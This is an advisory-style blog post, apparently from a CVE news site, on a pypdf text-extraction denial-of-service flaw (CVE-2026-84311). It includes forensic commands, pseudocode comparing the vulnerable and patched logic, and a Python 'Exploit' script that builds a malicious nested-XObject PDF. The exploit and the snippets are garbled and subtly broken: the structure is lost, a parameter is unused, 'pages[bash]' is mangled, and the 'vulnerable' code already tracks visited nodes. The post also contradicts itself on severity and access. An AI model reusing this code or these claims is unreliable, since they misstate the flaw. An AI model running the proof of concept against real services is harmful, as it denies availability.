pypdf, Excessive Iteration Denial-of-Service, CVE-2026-84311 (Medium) -DC-Sep2026-2080

Listen to this Post

pypdf is a free and open-source pure-Python PDF library widely used for parsing, manipulating, and extracting content from PDF documents. Prior to version 6.16.1, the library contained a critical resource exhaustion vulnerability in its text extraction routines. The flaw resides in `PageObject._extract_text` and `PageObject.extract_xform_text` methods within pypdf/_page.py. These methods are responsible for traversing form XObjects—reusable content streams that can be nested and referenced multiple times within a PDF.
The vulnerability stems from the lack of proper visited‑node tracking during the traversal of a directed acyclic graph (DAG) formed by reused form XObjects. In a valid PDF, a single form object may be referenced many times across different parts of the document or even recursively included. However, the vulnerable implementation treats each reference as a distinct traversal path instead of recognising that the underlying content has already been processed. As a result, when a form invokes a child multiple times, the traversal creates exponentially many paths through the graph.
An attacker can craft a malicious PDF where form XObjects are deeply nested with high branching factors. When an application extracts text from such a page, the traversal algorithm follows every possible path independently, without memoisation or cycle detection. This leads to an exponential explosion in the number of operations—even moderately complex documents with modest depth can trigger runtimes that scale exponentially relative to the graph’s depth and breadth. The CPU consumption spikes, and memory usage grows uncontrollably as the recursion stack and intermediate data structures accumulate.
For any service relying on pypdf for automated document processing—especially those ingesting untrusted or semi‑trusted PDFs—this vulnerability opens a straightforward Denial‑of‑Service (DoS) vector. An attacker can send a single crafted PDF that hangs processing threads or exhausts server memory pools, disrupting availability. The issue is classified under CWE‑834 (Excessive Iteration) and aligns with CWE‑400 (Uncontrolled Resource Consumption). It has been assigned a CVSS 4.0 base score of 4.8 (MEDIUM) with the vector AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N. The attack requires local access and passive user interaction, but the impact on availability is tangible.
The patch was released in pypdf 6.16.1 on August 14, 2026, and the vulnerability was publicly disclosed on September 1, 2026. The fix introduces proper tracking of visited form objects during text extraction, preventing redundant exponential traversals.

DailyCVE Form:

Platform: pypdf (Python)
Version: < 6.16.1
Vulnerability: Excessive Iteration (CWE‑834)
Severity: Medium (CVSS 4.8)
Date: 2026‑09‑01

Prediction: Already patched (6.16.1)

What Undercode Say:

Analytics & Forensic Commands

Check installed pypdf version
pip show pypdf | grep Version
List all versions available (including vulnerable ones)
pip index versions pypdf
Scan a PDF for excessive XForm nesting (using qpdf)
qpdf --qdf --object-streams=disable suspicious.pdf unpacked.pdf
grep -c "/XObject" unpacked.pdf
Monitor memory and CPU usage during text extraction
time python -c "from pypdf import PdfReader; PdfReader('suspicious.pdf').pages[bash].extract_text()" &
pid=$!
while kill -0 $pid 2>/dev/null; do ps -p $pid -o %cpu,%mem,etime; sleep 1; done
Detect exponential traversal patterns with strace
strace -e trace=memory -f python extract.py 2>&1 | grep -E "mmap|brk" | wc -l

Code Snippet – Vulnerable vs Patched Logic

Vulnerable (pre‑6.16.1) – no visited set
def extract_xform_text(xform, seen=None):
if seen is None:
seen = set()
❌ No check if xform already processed
for child in xform.get_children():
extract_xform_text(child, seen) exponential explosion
Patched (6.16.1+) – with memoisation
def extract_xform_text(xform, seen=None):
if seen is None:
seen = set()
if xform.id in seen:
return ✅ skip already visited nodes
seen.add(xform.id)
for child in xform.get_children():
extract_xform_text(child, seen) linear traversal

Exploit: (Educational Purposes!)

To reproduce the DoS condition, an attacker can construct a PDF where a root form XObject references a child form, which in turn references the root again (or a chain of forms with high out‑degree). The following Python script generates a minimal malicious PDF using `pypdf` itself (pre‑6.16.1):

from pypdf import PdfReader, PdfWriter
from pypdf.generic import NameObject, DictionaryObject, ArrayObject, NumberObject
Create a form XObject that references itself (or a chain)
def build_malicious_pdf(output_path, depth=10, branch=3):
writer = PdfWriter()
Create a form XObject with a recursive reference
form = DictionaryObject()
form[NameObject("/Type")] = NameObject("/XObject")
form[NameObject("/Subtype")] = NameObject("/Form")
form[NameObject("/BBox")] = ArrayObject([NumberObject(0), NumberObject(0), NumberObject(100), NumberObject(100)])
Build a content stream that invokes child forms (simplified)
content = b"q\n"
for i in range(branch):
content += b"/Fm%d Do\n" % i
content += b"Q\n"
form[NameObject("/Resources")] = DictionaryObject({
NameObject("/XObject"): DictionaryObject({
NameObject("/Fm%d" % i): form self‑reference (or chain)
for i in range(branch)
})
})
Add form to page and extract text (triggers traversal)
page = writer.add_blank_page(width=200, height=200)
page[NameObject("/Resources")] = form["/Resources"]
writer.write(output_path)
Usage (run with pypdf < 6.16.1)
build_malicious_pdf("evil.pdf", depth=10, branch=3)
reader = PdfReader("evil.pdf")
reader.pages[bash].extract_text() ⚠️ exponential CPU/memory spike

Note: This is for educational demonstration only. Do not use against production systems.

Protection:

  • Upgrade immediately to pypdf 6.16.1 or later. This is the only complete fix.
  • If upgrading is not possible, apply the changes from pull request 3966 manually.
  • Implement wrapper functions around text extraction that enforce strict timeouts (e.g., `signal.alarm()` or `multiprocessing` with a timeout) and memory limits (e.g., resource.setrlimit).
  • Deploy sandboxed execution environments with hardened resource quotas for processing untrusted PDFs.
  • Use static analysis tools (e.g., qpdf --check) to pre‑scan PDFs for abnormal nesting or excessive XObject references before feeding them to pypdf.

Impact:

  • Denial of Service: Unauthenticated attackers can craft a single PDF that causes unbounded CPU and memory consumption, effectively hanging or crashing the parsing process.
  • Resource Exhaustion: Production services relying on pypdf for automated document ingestion become vulnerable to memory‑exhaustion attacks, potentially taking down entire containers or virtual machines.
  • Supply Chain Risk: pypdf is a core dependency in many data‑processing pipelines; a vulnerable version can be exploited through any endpoint that accepts PDF uploads.
  • No Data Leakage: The vulnerability does not expose confidential information or allow code execution—it is purely a availability issue.
  • Widespread Exposure: All pypdf versions prior to 6.16.1 are affected, making this a critical upgrade for any environment that processes untrusted PDF content.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top